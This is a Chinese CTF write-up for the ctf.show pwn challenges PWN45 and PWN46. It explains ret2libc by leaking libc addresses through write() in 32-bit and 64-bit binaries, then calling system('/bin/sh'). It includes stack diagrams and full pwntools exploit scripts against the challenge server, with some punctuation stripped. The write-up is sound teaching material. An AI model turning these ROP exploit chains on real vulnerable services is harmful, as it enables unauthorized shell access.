
一.前言在PWN43、PWN44中我们利用ROP技术通过构造的ROP链完成了libc基址的泄露。具体来说我们依赖的是pop rdi;ret这个经典的gadget配合puts或者printf函数将栈上的某个地址作为参数传递给输出函数从而将目标函数在内存中的真实地址“打印”出来。这种方法的核心是利用函数调用的约定将参数精准地放入rdi寄存器再跳转至目标函数整个过程像搭积木一样精准可控。在接下来的两道题中我们的整体思路依旧是Ret2libc但是我们这次借助的是write函数。二.PWN451.攻击原理详解在32位程序中函数调用时栈布局遵循着一个固定模版。当我们通过栈溢出劫持EIP指令指针后如果想继续跳转到指定函数并且执行完指定函数之后还能按照我们的意图继续执行那么栈上的每个位置必须严格按照如下排序┌──────────────────────┐│ Function Address │ ◄── EIP 指向这里├──────────────────────┤│ Return Address │ ◄── 函数执行完跳去哪├──────────────────────┤│ Argument 1 │ ◄── 第 1 个参数├──────────────────────┤│ Argument 2 │ ◄── 第 2 个参数├──────────────────────┤│ Argument 3 │ ◄── 第 3 个参数└──────────────────────┘下面我们来说一下write函数它的函数原型如下ssize_t write(int fd, const void *buf, size_t count);其中fd: 文件描述符。0代表标准输入1代表标准输出2代表标准错误buf: 缓冲区地址。指向内存中一段数据的起始地址count: 要写入的字节数。这道题是32位的那就写4字节2.实战分析先来看一下溢出函数可以看出要覆盖的长度为0x6B0x40x6F(111)根据这道题的实际情况栈布局应该如下┌──────────────────────┐│ Padding (a*111) │ ◄── 1. 填满缓冲区├──────────────────────┤│ write_plt 地址 │ ◄── 2. 调用 write 函数├──────────────────────┤│ main_addr 地址 │ ◄── 3. write 执行完后的返回地址用于重启程序├──────────────────────┤│ 1 (或 0) │ ◄── 4. 参数1fd├──────────────────────┤│ write_got 地址 │ ◄── 5. 参数2buf指向 GOT 表中 write 的真实地址├──────────────────────┤│ 4 │ ◄── 6. 参数3count32 位地址长度为 4 字节└──────────────────────┘计算出libc基址之后我们就可以构造调用system(/bin/sh)了┌──────────────────────┐│ Padding (a*111) │ ◄── 1. 再次填满缓冲区触发溢出├──────────────────────┤│ system_addr │ ◄── 2. 劫持 EIP调用 system 函数├──────────────────────┤│ 0 │ ◄── 3. system 执行完的返回地址├──────────────────────┤│ bin_sh_addr │ ◄── 4. 参数1指向 /bin/sh 字符串的地址└──────────────────────┘3.完整EXPfrom pwn import* from LibcSearcher import* premote(pwn.challenge.ctf.show,28285) context.archi386 elfELF(./pwn45) payload1flat( ba*111, elf.plt[write], elf.sym[main], 1, elf.got[write], 4 ) p.recvuntil(bO.o?\n) p.sendline(payload1) write_addru32(p.recv(4)) libcLibcSearcher(write,write_addr) libc_basewrite_addr-libc.dump(write) system_addrlibc_baselibc.dump(system) bin_sh_addrlibc_baselibc.dump(str_bin_sh) payload2flat( ba*111, system_addr, 0, bin_sh_addr ) p.recvuntil(bO.o?\n) p.sendline(payload2) p.interactive()运行后即可拿到flag:补充这道题我们用到了一个新的库LibcSearcher它的作用非常单一且强大当我们泄露处了某个函数的真实内存地址的时候它可以自动帮我们找出远程靶机所使用的libc库这大大提升了我们做题的效率。三.PWN461.攻击原理详解有了前面PWN45的铺垫这道题就会好很多核心原理不变只是栈结构要换成64位的2.实战分析先看一下溢出函数可以看出来要覆盖的长度为0x700x80x78(120)在64位中我们的栈布局应该如下┌──────────────────────┐│ Padding (a*120) │ ◄── 1. 填满缓冲区├──────────────────────┤│ pop_rdi │ ◄── 2. 设置参数 1弹出栈顶值送入 RDI├──────────────────────┤│ 1 │ ◄── 3. RDI 1├──────────────────────┤│ pop_rsi_r15 │ ◄── 4. 设置参数 2弹出栈顶值送入 RSI同时 R15 也会被赋值├──────────────────────┤│ write_got │ ◄── 5. RSI write_got泄露源地址├──────────────────────┤│ 0 │ ◄── 6. R15 0垃圾填充满足 pop r15 的配对需求├──────────────────────┤│ write_plt │ ◄── 7. 调用 write 函数RDX 复用 read 的 0xC8├──────────────────────┤│ main_addr │ ◄── 8. write 执行完后重启程序方便二次攻击└──────────────────────┘在计算出Libc基址之后我们就可以调用system(/bin/sh)了栈布局如下┌──────────────────────┐│ Padding (a*120) │ ◄── 1. 填满缓冲区劫持到返回地址├──────────────────────┤│ pop_rdi │ ◄── 2. 设置参数 1弹出栈顶值送入 RDI├──────────────────────┤│ bin_sh_addr │ ◄── 3. RDI /bin/sh 字符串地址第一个参数├──────────────────────┤│ system_addr │ ◄── 4. 调用 system 函数执行命令└──────────────────────┘3.完整EXPfrom pwn import* from LibcSearcher import* context.archamd64 premote(pwn.challenge.ctf.show,28130) elfELF(./pwn46) offset0x708 pop_rdi0x400803 pop_rsi_r150x400801 payload1flat( ba*offset, pop_rdi, 1, pop_rsi_r15, elf.got[write], 0, elf.plt[write], elf.sym[main] ) p.recvuntil(bO.o?) p.sendline(payload1) write_addru64(p.recvuntil(b\x7f)[-6:].ljust(8,b\x00)) libcLibcSearcher(write,write_addr) libc_basewrite_addr-libc.dump(write) system_addrlibc_baselibc.dump(system) bin_sh_addrlibc_baselibc.dump(str_bin_sh) payload2flat( ba*offset, pop_rdi, bin_sh_addr, system_addr ) p.recvuntil(bO.o?) p.sendline(payload2) p.interactive()运行后即可拿到flag:四.总结在这两道题目中泄露的核心思路是先通过 ROP 调用write函数把 GOT 表中某个函数对应的真实运行时地址输出出来从而绕过 ASLR因为程序本体中的 GOT 表项保存的是该函数在 libc 中的实际地址所以拿到泄露值后就可以用libc_baseleak-libc.sym[func]计算出 libc 基址进一步得到system和/bin/sh等关键符号地址最后构造第二阶段 ROP 链执行system(/bin/sh)获取 shell。需要注意的是64 位下调用write时参数分别放在rdi/rsi/rdx32 位则按栈传参此外泄露时也需要关注接收字节数以及远程 libc 是否匹配以及栈对齐等问题否则即使成功泄露也可能导致后续利用失败。